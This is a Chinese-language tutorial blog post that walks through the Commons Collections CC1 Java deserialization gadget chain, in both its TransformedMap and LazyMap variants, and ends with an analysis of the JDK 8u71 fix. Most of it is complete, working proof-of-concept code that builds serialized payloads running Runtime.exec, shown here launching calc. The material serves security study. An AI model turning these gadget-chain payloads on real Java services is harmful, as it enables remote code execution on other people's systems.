一.简介

CC1全称Commons-Collections1,是Apache Commons Collections库的第一个反序列化利用链,后续还有CC2~CC7等多个变种

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

简单来说,Common-Collections这个项目开发出来是为了给JAVA标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

二.环境搭建

  • JDK<8u71,这里使用的是JDK8u65,java安装和环境配置不过多赘述,下载成功后终端查看版本即可

image-20261012131144559

  • CommonsCollections <= 3.2.1

先在IDEA中新建一个项目,然后使用JDK8u65的版本,maven项目模板选择webapp

image-20261012131836198

在项目结构->模块中修改语言级别为8

image-20261012105539492

在pom.xml中添加CC1链的依赖(注意写到dependencies中)

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

然后在右上角点击同步Maven更改的按钮,如图

image-20261012145021534

还需要修改sun包,因为源码中很多文件都是.class文件,都是反编译之后的文件,所以为了方便分析需要使用.java文件

访问openJDK 8u65,下载zip

image-20261012132337774

解压之后先不管,去jdk8u65的下载目录下找到src.zip并解压,再将openJDK解压文件中的src/share/classes/sun复制到JDK下载目录的src下,如图

image-20261012133302956

复制成功后在IDEA->File->项目结构->SDK->源路径中加入src文件夹

image-20261012133431141

环境配置就完成了

三.利用链分析

首先明确下反序列化的思路,我们需要从出口的命令执行方法通过链子引导到入口类的readObject方法

InvokerTransformer#transform()(出口命令执行方法)

CC1链中出口是Transformer接口中的transform方法,即org.apache.commons.collections.Transformer,找到这个接口,快捷键ctrl+alt+B查看实现接口的类

image-20261012145142316

进入InvokerTransformer,在119行找到重写的transform方法

image-20261012145833078

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName; //接收方法名
iParamTypes = paramTypes; //接收形参类型
iArgs = args; //接收参数值
}

public Object transform(Object input) { //接收对象输入
if (input == null) { //检测输入
return null;
}
try {
Class cls = input.getClass(); //获取对象原型类
Method method = cls.getMethod(iMethodName, iParamTypes); //获取指定名字和参数类型的public方法,并返回method对象
return method.invoke(input, iArgs); //反射调用input中的method方法,iArgs作为方法参数,返回调用结果,相当于input.method(iArgs)
……
}

可以看到这里通过获取一个对象并利用反射来获取并调用其原型类,因此可以通过InvokerTransformer类的transform方法中invoke调用Runtime类gerRuntime对象的exec来rce

在src/main/java下新建一个test类

import org.apache.commons.collections.functors.InvokerTransformer;

public class test {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}

image-20261012161529115

运行代码可以看到成功弹出了计算器,然后现在就需要一步一步找到入口类

TransformedMap#checkSetValue()

右键 –>find usages(查找用法),如果find usages这里有问题的话,可以先Ctrl+Alt+Shift+F7,将作用域设置为所有位置

image-20261012171436721

image-20261012171537543

可以看到这里有17个结果,接下来就逐一排查,目的是找到其他调用transfrom的类

这里就直接看我们需要的TransformedMap类下的checkSetValue方法

image-20261012174324643

看到是protected类型,由于只能被内部类访问,权限不够,所以看能否通过对valueTransformer进行赋值来利用,接着查找valueTransformer

image-20261012174733762

发现在构造方法中能够对valueTransformer进行利用,但由于还是protected类型,接着查找使用了构造方法的地方

image-20261012175025628

可以看到这里不仅变成了public类型,并且还返回了一个TransformedMap对象,那么现在就能够对valueTransformer的值进行控制,整个类中需要方法如下

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

那么现在目标就是控制valueTransformer的值,看如何赋值为InvokerTransformer,触发InvokerTransformer::transform()

尝试构造poc如下

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime(); //新建Runtime.getRuntime()对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); //new一个InvokerTransformer对象来作为valueTransformer
HashMap<Object, Object> hashMap = new HashMap<>(); //new一个map对象
Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer); //调用TransformedMap.decorate方法,获得一个TransformedMap对象,由于只有valueTransformer需要,所以keyTransformer可以设置为空
Class<TransformedMap> transformedMapClass = TransformedMap.class; //获得TransformedMap类
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class); //反射找到checkSetValue方法
checkSetValueMethod.setAccessible(true); //set权限,使反射能够访问checkSetValue方法
checkSetValueMethod.invoke(decorateMap, runtime);
}
}

image-20261013121516349

成功弹出计算器,链子为

TransformedMap::decorate()->TransformedMap::checkSetValue()->InvokerTransformer::transform()

AbstractInputCheckedMapDecorator#setValue#setvalue()

但是decorate方法不能找到上一步了,所以回到checkSetValue继续寻找链子

image-20261013122452521

查找用法可以看到在MapEntry中的setValue方法调用了checkSetValue方法,这里的MapEntry是TransformedMap的抽象父类AbstractInputCheckedMapDecorator的一个内部类,类中方法如下

abstract class AbstractInputCheckedMapDecorator
extends AbstractMapDecorator {
……
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
}

这里的setValue方法用来更新当前键值对的值,所以在被修饰过的map遍历时一般都会进入MapEntry类触发setValue方法。并且MapEntry的父类AbstractMapEntryDecorator引入了Map.Entry接口,相当于是对setValue方法的重写

image-20261013132750374

poc如下

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime(); //新建Runtime.getRuntime()对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); //new一个InvokerTransformer对象来作为valueTransformer
HashMap<Object, Object> map = new HashMap<>(); //new一个map对象
map.put("key","value"); //给map一个键值对方便遍历
Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer); //调用TransformedMap.decorate方法,获得一个TransformedMap对象,由于只有valueTransformer需要,所以keyTransformer可以设置为空
for(Map.Entry entry:decorateMap.entrySet()){ //取出每一个集合来进行遍历,这里只遍历一次
entry.setValue(runtime);
}
}
}

成功弹出计算器,调用链为

MapEntry::setValue()->TransformedMap::checkSetValue()->InvokerTransformer::transform()

image-20261013141539663

注意这里的循环语句for(Map.Entry entry:decorateMap.entrySet())中的decorateMap.entrySet(),打断点调试可以发现,遍历时由于TransformedMap类中并没有entrySet方法,所以先进入其父类AbstractInputCheckedMapDecorator实现这个方法

image-20261013141939864

而这里的parent可以从断点得知是TransformedMap类

image-20261013142158541

再向下依次步入可以得到这里返回的entry值是一个AbstractInputCheckedMapDecorator.MapEntry

image-20261013153005760

所以就能调用重写的setValue方法了

AnnotationInvocationHandler#readObject()

接着查找setValue的用法,在sun.reflect.annotation.AnnotationInvocationHandler找到了最后的readObject()

image-20261013153945417

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type); //获取传入注解类型的信息
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes(); //获取一个记录注解成员名称及其类型对应关系的Map

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { //遍历memberValues中的每个键值对
String name = memberValue.getKey(); //获取键名
Class<?> memberType = memberTypes.get(name); //在Map中查找对应的成员类型
if (memberType != null) { // i.e. member still exists //类型不为空则进入第一个if
Object value = memberValue.getValue(); //获取值
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) { //类型和值不匹配并且值不是ExceptionProxy即进入第二个if
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

并且AnnotationInvocationHandler类是可序列化的

image-20261013154245401

那就先直接看构造方法(为了构造这个类)

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

可以看到这里第一个参数为Class,需要继承了Annotation,Annotation在java里是注解,所以传入Override.class。第二个参数为Map参数,因此可以将构造好的Map类型参数payload直接传入,但是这个方法并不是public,在java中,没写public的话作用域就是default,我们就需要通过反射的方式来获取这个类及其构造函数,然后实例化它。可以写一个粗糙的poc如下

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime(); //新建Runtime.getRuntime()对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); //new一个InvokerTransformer对象来作为valueTransformer


HashMap<Object, Object> map = new HashMap<>(); //new一个map对象
map.put("key","value"); //给map一个键值对方便遍历
Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer); //调用TransformedMap.decorate方法,获得一个TransformedMap对象,由于只有valueTransformer需要,所以keyTransformer可以设置为空


Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); //通过指定参数类型获取构造函数
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, decorateMap); //调用构造函数,第一个参数为注解的类原型,第二个参数为我们构造的类


serialize(o); //序列化
unserialize("CC1.txt"); //反序列化

}
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
}

//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

但是这样并不能弹出计算器,问题如下

  • Runtime类无法序列化
  • setValue的调用需要条件
  • setValue的参数好像不可控

那么下面来逐个分析

四.问题与解决

1.Runtime类无法序列化

由于Runtime类没有继承序列化接口java.io.Serializable,所以不能反序列化

但是Runtime.class是可以序列化的,Class类继承了序列化接口,所有.class文件都可以序列化

image-20261013171045953

先写一个普通反射

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class problem1 {
public static void main(String[] args) throws Exception {
Class c = Runtime.class; //获取Runtime类的class对象
Method getRuntime = c.getMethod("getRuntime", null); //获取Runtime类中getRuntime方法对应的method对象
Runtime runtime = (Runtime) getRuntime.invoke(null, null); //由于getRuntime是个静态方法,不需要指定对象,也不需要参数
Method exec = c.getMethod("exec", String.class); //获取Runtime类中参数类型为String的exec方法对应的method对象
exec.invoke(runtime, "calc"); //命令执行,相当于Runtime.getRuntime().exec("calc")
}
}

这里可以用InvokerTransformer类的transform来反射

import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class problem1 {
public static void main(String[] args) throws Exception {
/*
Class c = Runtime.class; //获取Runtime类的class对象
Method getRuntime = c.getMethod("getRuntime", null); //获取Runtime类中getRuntime方法对应的method对象
Runtime runtime = (Runtime) getRuntime.invoke(null, null); //由于getRuntime是个静态方法,不需要指定对象,也不需要参数
Method exec = c.getMethod("exec", String.class); //获取Runtime类中参数类型为String的exec方法对应的method对象
exec.invoke(runtime, "calc"); //命令执行,相当于Runtime.getRuntime().exec("calc")
*/

Class c = Runtime.class;
//Method getRuntime = c.getMethod("getRuntime", null);
Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c);
//Runtime runtime = (Runtime) getRuntime.invoke(null, null);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
//Method exec = c.getMethod("exec", String.class);
//exec.invoke(runtime, "calc");
Object transform = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
}
}

并且可以看到,最后进行反射的时候,最后三排代码有共同点

  • 格式均为new InvokerTransformer().transform()

  • 后一个transform方法中参数为前一个的结果

因此这里使用自带的ChainedTransformer这个类来简化代码量(在最初的transform按快捷键ctrl+h可以看到继承关系,可以找到ChainedTransformer)

image-20261013174950972

ChainedTransformer类中的transform方法会递归调用了前一个方法的结果,作为后一个方法的参数

image-20261013175951403

反射链子就可以写成如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class problem1 {
public static void main(String[] args) throws Exception {
/*
Class c = Runtime.class; //获取Runtime类的class对象
Method getRuntime = c.getMethod("getRuntime", null); //获取Runtime类中getRuntime方法对应的method对象
Runtime runtime = (Runtime) getRuntime.invoke(null, null); //由于getRuntime是个静态方法,不需要指定对象,也不需要参数
Method exec = c.getMethod("exec", String.class); //获取Runtime类中参数类型为String的exec方法对应的method对象
exec.invoke(runtime, "calc"); //命令执行,相当于Runtime.getRuntime().exec("calc")
*/

/*
Class c = Runtime.class;
//Method getRuntime = c.getMethod("getRuntime", null);
Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c);
//Runtime runtime = (Runtime) getRuntime.invoke(null, null);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
//Method exec = c.getMethod("exec", String.class);
//exec.invoke(runtime, "calc");
Object transform = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
*/

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}

那么结合之前的链子就可以变成

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> map = new HashMap<>(); //new一个map对象
map.put("key","value"); //给map一个键值对方便遍历
Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer); //调用TransformedMap.decorate方法,获得一个TransformedMap对象,由于只有valueTransformer需要,所以keyTransformer可以设置为空


Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); //通过指定参数类型获取构造函数
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, decorateMap); //调用构造函数,第一个参数为注解的类原型,第二个参数为我们构造的类


serialize(o); //序列化
unserialize("CC1.txt"); //反序列化
}
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
}

//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

但是这只是解决了第一个问题,仍然不能成功弹出计算器

2.setValue的调用需要条件

在调用setValue之前,有两个if语句,需要这两个if语句都成立才能调用setValue方法

image-20261014145004736

在第一个if下个断点然后调试查看,发现直接跳过了第一个if,这是由于Override这个注解的值为空,所以我们需要另外找一个有值的注解

image-20261014144332973

可以找到Target这个注解中有值,那就将Override.class修改为Target.class

image-20261014145242209

注意到代码

String name = memberValue.getKey();  //获取键名
Class<?> memberType = memberTypes.get(name); //从Map中寻找键名所对应的类型
if (memberType != null) {}

而这里的memberValue是我们之前传入的值

image-20261014145558173

而Map是这个Target注解中的value->ElementType,所以需要修改传入的键名和这里的Map中相对应,即初值设置为map.put("value","value");

修改后重新调试可以看到memberType被成功赋值,并且成功进入第二个if语句

image-20261014150654878

目前的poc为

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> map = new HashMap<>(); //new一个map对象
map.put("value","value"); //给map一个键值对方便遍历
Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer); //调用TransformedMap.decorate方法,获得一个TransformedMap对象,由于只有valueTransformer需要,所以keyTransformer可以设置为空


Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); //通过指定参数类型获取构造函数
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorateMap); //调用构造函数,第一个参数为注解的类原型,第二个参数为我们构造的类


serialize(o); //序列化
unserialize("CC1.txt"); //反序列化
}
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
}

//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

3.setValue的参数好像不可控

在进行调用setValue时,参数为一个新的类,这个可以调试看到

image-20261014152121245

在valueTransformer.transform(value);中,我们希望的这个value能够变成Runtime.class,但是现在是AnnotationTypeMismatchExceptionProxy这个类,所以我们需要找到一个方法来实现不改变value的值

这里找到的是ConstantTransformer中重写的transform()方法

image-20261014152539506

跟进之后可以看到是将传入值原样输出,所以我们借用这个方法来获得Runtime.class

image-20261014152718276

那么可以直接在数组中添加

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

效果就是在最后实现valueTransformer.transform(value);时,不管这里输入的value是什么,都无视这个value,通通返回Runtime.class,最后实现获取Runtime.class->获取getRuntime方法->获取实例->获取exec方法实现命令执行

五.完整poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> map = new HashMap<>(); //new一个map对象
map.put("value","value"); //给map一个键值对方便遍历
Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer); //调用TransformedMap.decorate方法,获得一个TransformedMap对象,由于只有valueTransformer需要,所以keyTransformer可以设置为空


Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); //通过指定参数类型获取构造函数
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorateMap); //调用构造函数,第一个参数为注解的类原型,第二个参数为我们构造的类


serialize(o); //序列化
unserialize("CC1.txt"); //反序列化
}
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
}

//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

image-20261014164623959

可以看到成功执行calc了,那么这个CC1链就完成了!

六.链子总结

//利用链
InvokerTransformer#transform()
TransformedMap#checkSetValue()
AbstractInputCheckedMapDecorator#setValue()
AnnotationInvocationHandler#readObject()

//辅助链
ChainedTransformer //将三个Transformer组合成链式转换器
ConstantTransformer //使setValue的Value值为Runtime.class开启攻击
HashMap //遍历数组时调用到setValue

七.LazyMap版CC1攻击链

大概思路和之前的TransformMap版链是一样的,只是在InvokeTransformer下的transform方法,进行查找用法操作时,选择了LazyMap类

image-20261014172725630

可以看到这里的get方法中调用了transform方法,并且是public方法,但是这个类的构造方法是protected,这时又要借用这个类的decorate方法来新建实例

image-20261014173239562

先写一个poc尝试一下

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class test2 {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(decorateMap, runtime);
}
}

能够正常实现calc,那么就继续查找get的用法

找到sun.reflect.annotation.AnnotationInvocationHandler中的invoke方法,并且这个类中还有readObject()方法,可以作为入口类

public Object invoke(Object proxy, Method method, Object[] args) {
……
Object result = memberValues.get(member);
……
}

可以看到这里的invoke方法触发get方法的是memberValues,而这个memberValues我们可以控制。因此现在只需要动态代理这个类,然后随便调用其中一个方法,就会触发invoke()

当动态代理某个类后,通过代理调用其中任意方法,就会触发这个类中的invoke()方法

来分析一下invoke()

public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName(); //获取调用的方法名
Class<?>[] paramTypes = method.getParameterTypes(); //获取参数类型列表

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]); //如果调用的是equals(Object),交给equalsImpl实现
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method"); //如果注解方法有参数就抛出异常

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member); //获取注解成员对应值

if (result == null)
throw new IncompleteAnnotationException(type, member); //没有值说明注解信息不完整则抛出异常

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException(); //如果结果是异常代理对象则抛出异常

if (result.getClass().isArray() && Array.getLength(result) != 0) //如果结果是数组且结果非空就复制一份,避免外部修改原始数据
result = cloneArray(result);

return result; //返回对应注解成员值
}

需要注意的是这里要求使用无参方法,正好看到readObject中有memberValues调用了entrySet,entrySet是一个无参方法

image-20261014181647764

那么现在只要让反序列化对象为动态代理,那么在反序列化时就会触发entrySet()这个无参方法,进而触发invoke()方法,那么编写poc如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class test2 {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); //调用LazyMap类的decorate方法,生成一个Map对象

//动态代理
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); //获取构造方法
constructorhandler.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructorhandler.newInstance(Override.class,lazyMap); //使用构造方法生成InvocationHandler对象
Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler); //构建动态代理,能够实现Map类
Object o = constructorhandler.newInstance(Override.class,proxyedMap); //再次使用构造方法,确保反序列化对象在readObject时触发entrySet()方法,进而调用proxyedMap中invocationHandler的invoke方法


serialize(o); //序列化
unserialize("CC1.txt"); //反序列化
}
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
}

//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

顺利弹出计算器

image-20261014184628580

调用链总结

//利用链
InvokerTransformer#transform()
LazyMap#get()
AnnotationInvocationHandler#readObject()

八.修复方法

官方的修复建议是jdk8u71以上,我们来分析一下jdk8u71

对于TransformedMap版链子

同样是sun.reflect.annotation.AnnotationInvocationHandler,可以看到这里的readObject方法中没有调用setValue()方法了

image-20261016151037584

对于LazyMap版链子

因为在8u71之后的版本反序列化不再通过defaultReadObject方式,而是通过readFields 来获取几个特定的属性,defaultReadObject 可以恢复对象本身的类属性,比如this.memberValues 就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因

image-20261016151213200

image-20261016151250804